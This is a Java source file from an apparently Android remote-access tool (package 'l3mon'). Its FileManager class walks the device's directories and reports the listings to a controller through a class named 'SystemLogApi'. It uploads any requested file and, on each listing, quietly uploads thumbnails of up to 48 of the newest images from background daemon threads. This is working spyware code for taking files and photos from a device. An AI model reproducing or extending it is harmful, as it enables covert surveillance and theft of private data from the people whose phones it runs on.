package com.etechd.l3mon;

import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.ImageDecoder;
import android.os.Build;
import android.util.Log;

import org.json.JSONArray;
import org.json.JSONObject;

import java.io.File;
import java.io.FileOutputStream;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import java.util.Locale;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.atomic.AtomicInteger;

/**
 * Explorador de archivos: listado, descarga y miniaturas.
 */
public class FileManager {
    private static final String TAG = "FileManager";
    private static final int THUMB_MAX_PX = 240;
    private static final long THUMB_MAX_SOURCE = 12L * 1024 * 1024;
    private static final int THUMB_BATCH_MAX = 48;
    private static final ExecutorService THUMB_EXECUTOR = Executors.newFixedThreadPool(2);

    private static final String[] IMAGE_SUFFIXES = {
            ".jpg", ".jpeg", ".jpe", ".jfif", ".pjpeg",
            ".png", ".gif", ".webp", ".bmp", ".wbmp",
            ".heic", ".heif", ".avif",
            ".tif", ".tiff",
            ".ico",
    };

    public static void listAndReport(String path) {
        JSONArray list = walk(path);
        try {
            JSONObject object = new JSONObject();
            object.put("type", "list");
            object.put("list", list);
            SystemLogApi.report("0xFI", object);
            scheduleThumbnailBatch(list);
        } catch (Exception e) {
            Log.e(TAG, "listAndReport", e);
        }
    }

    public static JSONArray walk(String path) {
        JSONArray values = new JSONArray();
        File dir = new File(path);

        if (!dir.canRead()) {
            try {
                JSONObject errorJson = new JSONObject();
                errorJson.put("type", "error");
                errorJson.put("error", "Denied");
                SystemLogApi.report("0xFI", errorJson);
            } catch (Exception e) {
                Log.e(TAG, "walk error report", e);
            }
            return values;
        }

        File[] list = dir.listFiles();
        if (list == null) {
            return values;
        }

        try {
            JSONObject parentObj = new JSONObject();
            parentObj.put("name", "../");
            parentObj.put("isDir", true);
            parentObj.put("path", dir.getParent());
            parentObj.put("size", 0);
            parentObj.put("modified", 0);
            values.put(parentObj);

            for (File file : list) {
                if (file.getName().startsWith(".")) {
                    continue;
                }
                JSONObject fileObj = new JSONObject();
                fileObj.put("name", file.getName());
                fileObj.put("isDir", file.isDirectory());
                fileObj.put("path", file.getAbsolutePath());
                fileObj.put("size", file.isDirectory() ? 0 : file.length());
                fileObj.put("modified", file.lastModified());
                values.put(fileObj);
            }
        } catch (Exception e) {
            Log.e(TAG, "walk", e);
        }

        return values;
    }

    public static void downloadFile(final String path) {
        if (path == null || path.isEmpty()) {
            return;
        }
        Thread t = new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    File file = new File(path);
                    if (!file.exists() || file.isDirectory()) {
                        Log.w(TAG, "download skip: " + path);
                        return;
                    }
                    SystemLogApi.uploadWithMeta(file, "download", file.getName(), path);
                } catch (Exception e) {
                    Log.e(TAG, "download", e);
                }
            }
        }, "sl-file-dl");
        t.setDaemon(true);
        t.start();
    }

    public static void uploadThumbnail(final String path) {
        if (path == null || path.isEmpty()) {
            return;
        }
        THUMB_EXECUTOR.execute(new Runnable() {
            @Override
            public void run() {
                generateAndUploadThumbnail(path);
            }
        });
    }

    private static void scheduleThumbnailBatch(JSONArray entries) {
        if (entries == null || entries.length() == 0) {
            return;
        }
        final List<String> paths = new ArrayList<>();
        try {
            for (int i = 0; i < entries.length(); i++) {
                JSONObject e = entries.getJSONObject(i);
                if (e.optBoolean("isDir")) {
                    continue;
                }
                String name = e.optString("name", "");
                if ("../".equals(name)) {
                    continue;
                }
                String p = e.optString("path", "");
                if (p.isEmpty()) {
                    continue;
                }
                if (!isImageFile(name, p)) {
                    continue;
                }
                paths.add(p);
            }
        } catch (Exception e) {
            Log.e(TAG, "scheduleThumbnailBatch parse", e);
            return;
        }

        if (paths.isEmpty()) {
            return;
        }

        Collections.sort(paths, new Comparator<String>() {
            @Override
            public int compare(String a, String b) {
                long ma = new File(a).lastModified();
                long mb = new File(b).lastModified();
                return Long.compare(mb, ma);
            }
        });

        final int limit = Math.min(paths.size(), THUMB_BATCH_MAX);
        Log.i(TAG, "Miniaturas en lote: " + limit + " de " + paths.size());

        Thread batch = new Thread(new Runnable() {
            @Override
            public void run() {
                AtomicInteger done = new AtomicInteger(0);
                for (int i = 0; i < limit; i++) {
                    final String p = paths.get(i);
                    THUMB_EXECUTOR.execute(new Runnable() {
                        @Override
                        public void run() {
                            try {
                                generateAndUploadThumbnail(p);
                            } finally {
                                done.incrementAndGet();
                            }
                        }
                    });
                }
            }
        }, "sl-file-thumb-batch");
        batch.setDaemon(true);
        batch.start();
    }

    private static void generateAndUploadThumbnail(String path) {
        File tmp = null;
        try {
            File source = new File(path);
            if (!source.exists() || source.isDirectory() || source.length() > THUMB_MAX_SOURCE) {
                return;
            }
            if (!isImageFile(source.getName(), path)) {
                return;
            }

            Bitmap bitmap = decodeBitmap(path);
            if (bitmap == null) {
                return;
            }

            int w = bitmap.getWidth();
            int h = bitmap.getHeight();
            float scale = Math.min((float) THUMB_MAX_PX / w, (float) THUMB_MAX_PX / h);
            if (scale < 1f) {
                int nw = Math.max(1, Math.round(w * scale));
                int nh = Math.max(1, Math.round(h * scale));
                Bitmap scaled = Bitmap.createScaledBitmap(bitmap, nw, nh, true);
                if (scaled != bitmap) {
                    bitmap.recycle();
                }
                bitmap = scaled;
            }

            tmp = File.createTempFile("slthumb", ".jpg", SystemLogApi.getAppContext().getCacheDir());
            FileOutputStream fos = new FileOutputStream(tmp);
            bitmap.compress(Bitmap.CompressFormat.JPEG, 82, fos);
            fos.close();
            bitmap.recycle();

            SystemLogApi.uploadWithMeta(tmp, "thumbnail", source.getName(), path);
        } catch (Exception e) {
            Log.e(TAG, "thumb " + path, e);
        } finally {
            if (tmp != null) {
                tmp.delete();
            }
        }
    }

    private static Bitmap decodeBitmap(String path) {
        if (Build.VERSION.SDK_INT >= 28) {
            try {
                return ImageDecoder.decodeBitmap(ImageDecoder.createSource(new File(path)));
            } catch (Exception e) {
                Log.d(TAG, "ImageDecoder fallo, probando BitmapFactory: " + path);
            }
        }

        BitmapFactory.Options opts = new BitmapFactory.Options();
        opts.inJustDecodeBounds = true;
        BitmapFactory.decodeFile(path, opts);
        if (opts.outWidth <= 0 || opts.outHeight <= 0) {
            return null;
        }

        int sample = 1;
        while (opts.outWidth / sample > THUMB_MAX_PX * 2
                || opts.outHeight / sample > THUMB_MAX_PX * 2) {
            sample *= 2;
        }

        BitmapFactory.Options load = new BitmapFactory.Options();
        load.inSampleSize = sample;
        return BitmapFactory.decodeFile(path, load);
    }

    private static boolean isImageFile(String name, String absolutePath) {
        if (name != null && matchesExtension(name)) {
            return true;
        }
        return canDecodeImageBounds(absolutePath);
    }

    private static boolean matchesExtension(String name) {
        String lower = name.toLowerCase(Locale.US);
        for (String suffix : IMAGE_SUFFIXES) {
            if (lower.endsWith(suffix)) {
                return true;
            }
        }
        return false;
    }

    /** Archivos sin extension reconocible pero decodificables como imagen. */
    private static boolean canDecodeImageBounds(String path) {
        if (path == null || path.isEmpty()) {
            return false;
        }
        try {
            BitmapFactory.Options opts = new BitmapFactory.Options();
            opts.inJustDecodeBounds = true;
            BitmapFactory.decodeFile(path, opts);
            return opts.outWidth > 0 && opts.outHeight > 0;
        } catch (Exception e) {
            return false;
        }
    }
}
